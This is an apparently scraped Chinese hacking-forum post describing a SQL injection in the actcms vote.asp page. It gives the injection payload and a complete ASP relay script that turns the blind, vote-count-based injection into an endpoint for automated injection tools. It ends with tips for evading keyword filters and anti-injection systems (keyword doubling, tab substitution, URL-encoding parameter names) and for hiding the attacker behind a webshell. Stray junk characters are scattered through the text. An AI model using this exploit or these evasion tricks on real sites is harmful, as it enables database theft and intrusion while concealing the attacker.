注入中转的高级应用，actcms漏洞以及其他

admin

) C/ h- k% A" U" Z! a% G看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
& M8 W% h' c. R& K, f关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

0 s( I( F) ]) u0 k3 U2 ]3    response.end   

( s( j# }7 g& @2 \! g4    end if   
2 r" T6 i$ v6 [9 A
5    for i=1 to request("voted").count   
! M. ?0 b  c/ h* W
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

" q/ P+ V$ q* x' ?) V! e7    next   

8....   
7 r% ]9 ]' [& u
* y" h! ~/ e0 l7 u5 H9response.Redirect "index.asp?id="&id&""   
" Y1 U: O9 g0 d* ~投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
  Q, @9 V4 N% e0 ?            失败票数不变
如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
4 J# v4 M8 E' k+ h. L1 {$ n) _
2009-12-27 13:20

  x2 V; a9 T  b5 f- R: C1 K3 ~利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

# e! K4 l2 X; I- Z. G本帖隐藏的内容需要回复才可以浏览
$ L7 _. J' i3 ~我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

/ d8 {+ H5 n  }% w$ R然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

8 j' \! r& O3 A0 y$ S02JmdcwName=request("jmdcw")
2 M; }6 z2 E; u& P5 f- P
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

04JmStr="id=1&voted=-1 or 1="&JmdcwName

0 u7 D, g: S9 E8 ~+ i* T9 E05JmStr=URLEncoding(JmStr)
0 d3 B  z$ W$ {; H5 i6 n9 L4 {# }
; e0 p6 }$ P4 m06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
% F" j& A% S/ o) g( p2 Y6 F) F, v9 ~
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

08testurl=testurl & "?" & JmStr
1 {& B; Y% v4 j* a1 M
09JMUrl=JMUrl & "?" & JmStr

10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

2 f' I6 [) ^* h9 S3 a12JmCok=replace(JmCok,chr(32),"%20")  

13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
- o/ Y1 g+ c  V6 x- I2 ?4 t
; ^- C) X! Y: B14  

# n" A, ~2 X- k15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
  X7 \* Q& }# y5 n# r0 n( g; z
3 u+ \' A* z; {! ]* e7 H$ c6 M16  

* h' y  E5 a; ~* x% F+ d$ n- e" g( g17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

. f# w: k  K0 L3 U: m# e0 W18response.write test1&""&test2&""

: ~% ^4 @( n, b: c9 ]  c19  
1 d6 [. N# ~4 }" i" T
+ X$ ^4 `2 J- T1 u20if test1=test2 then '如前后记录相等，表示失败
* K: `, V2 h: [" s
21  response.write "failed"
" S  z5 ^8 R( e4 C) G
# A. X. O/ Q5 L4 u8 t4 `22else
2 X0 b. p+ u) g' N0 p
8 Q$ A' m2 }/ ]& Y0 I+ e+ V0 K23  response.write "succeed"
9 l- C, ]7 s2 a
6 t; S1 |/ _% [" [) S5 v24end if  

4 L& `) \' r$ d& B& ?/ O* W& P25  

26response.write "by 3x"
- a3 `" N* l, K  r! R- |
+ j9 [0 _7 I& o! F$ P6 D* ~27  

0 F8 R- ?7 i# I+ r2 g28  
" f8 `& ^1 d* p7 T. N. P
8 z0 o8 X, N" I0 M29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

30Dim Http
# O+ [, n& F# \* E4 e) X* ?+ y
: Y% U$ \8 H. K: Z: {31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
3 s: B: X/ E. Q& ?
32With Http
% Q" [, r1 d4 H2 k( N9 z% S. K
33  

$ i# U3 w: k( H( s( y* t* @/ @' W' ^34.Open "GET",PostUrl,False

35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

" E  y4 E1 g! S2 Q2 ^36.SetRequestHeader "Referer",PostRef
1 C% p, d% {$ n& u# p- Y
( g* s/ p: d/ w( ^) ?37.SetRequestHeader "Cookie",PostCok
; j: d0 J# I* h" T9 [* e
, s$ i7 L/ x3 ]8 N3 b5 ~38.Send ()
# i1 [7 u/ B1 L: n% F8 A4 _
39PostData = .ResponseBody

40End With
3 K5 C3 V8 X* O: v( b
3 B) V, R8 Y4 j: z41Set Http = Nothing
' S+ H; r) N) r. ]. M; L5 `
42PostData =bytes2BSTR(PostData)

43End Function
- q8 @& t$ I' S+ p5 r) X4 j2 x
) K- D: g8 u3 g44  

45  

! c  n2 ?% }3 ]3 w/ b46Function bytes2BSTR(vIn)
5 o) h2 b& k; [5 x9 p. Y- U% v
" Y: v& M! M! z( \2 W( Y1 `47Dim strReturn
% y( j4 B) ^6 S, E+ @
48Dim I, ThisCharCode, NextCharCode

49strReturn = ""
6 V2 j4 M; L" J* ]3 K% h. O
50For I = 1 To LenB(vIn)

0 \* N9 c0 y# E& U" \51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then
, o- K  C' j5 t% }* h. i9 {3 [; C
' }! V/ `8 R, p9 v53strReturn = strReturn & Chr(ThisCharCode)

54Else
3 ~- }# ~, p/ D  ~/ N
1 U$ K/ M1 ?; ]3 ^- r5 u& X55NextCharCode = AscB(MidB(vIn, I + 1, 1))

4 J8 H! t/ Z2 _* \  [56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

. q& |: |) L  L  f0 @4 ]57I = I + 1

58End If

59Next

" |' O0 `2 X8 X& O" i# i$ h60bytes2BSTR = strReturn

9 h- ]9 r' o# Q1 N0 C61End Function
# }7 j/ ?* n1 I# o* f& ~
' U- D& g! Z2 G+ C62  

% S. M5 c1 C1 C1 [1 Q6 p, ?0 O8 q63Function URLEncoding(vstrin)  
+ k: k1 ?. I7 f: e# W! X+ |
6 j$ Q5 l3 Q" G0 C" A64strReturn=""

65Dim i

6 U8 a9 v' k9 C4 i66For i=1 To Len(vstrin)

67ThisChr=Mid(vstrin,i,1)

68if Abs(Asc(ThisChr))< &HFF Then
' t$ I) a- X! V' W- a& c
7 {, T9 f: I- m8 \1 K69strReturn=strReturn & ThisChr

70Else
2 }+ M1 D: l4 A6 G' x, Z
71InnerCode=Asc(ThisChr)
8 w- `& e5 Y" K! g4 n0 t
72If InnerCode<0 Then
0 N$ y1 Q7 f" Q3 a* D
* x2 ^9 S% T+ t3 X4 @73InnerCode=InnerCode + &H10000
. f! `0 O* S; |
6 B* n/ n) Z0 o: s, ~3 s74End If
, L* ]4 A4 V& n9 B  k4 \) `- J
' m: s/ N5 X- h75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF

77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

& p1 q, X4 l5 K. B78End if

79Next

) X8 F9 M. d9 D# l2 J80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

8 _* U: G& l' a. Z81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
8 ^  i# G1 ]# G7 b& o
83URLEncoding=strReturn
, T+ v& A% r. Z& t: e) L: j
5 A, t- X8 l' M, H: L; n9 ]# B84End Function

85  

86function getSt(body)

87  startpot=instr(body,"投票人数：")+len("投票人数：")
7 R+ E, U: {3 Q( J! b, w
, p, v) A) B6 Q- I2 a) p7 a88  endpot=instr(startpot,body," ")
+ t* R+ E4 z: e" z& R' B
0 d" q4 f9 \1 ^* \- B89  getSt=mid(body,startpot,endpot-startpot)
8 m5 o# `; K2 w0 }( A" H2 e
; }# E  Y2 F& }6 Q+ B90end function
3 Q* |8 d6 }/ S
$ Z0 C3 T, Q4 ?5 p- V4 k91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
7 h, S4 P( v) z! U/ J投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
1 a* S3 r+ v" [; m3 H8 B8 u
2009-12-27 13:29
: t$ A0 Y1 Z8 K( R. e投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

  l6 C1 [6 K" v+ v4 Z! T9 {1 H2009-12-27 13:29
0 Y. S9 C) }) K% v0 |  t# T-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
-------------------------------------------------------------------------------

: H% X& R# s0 }& E' @注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
/ B2 w7 L* E; S$ R2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
6 ~6 V$ O* v0 ^& s8 b4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
$ u! K: c2 G. }/ a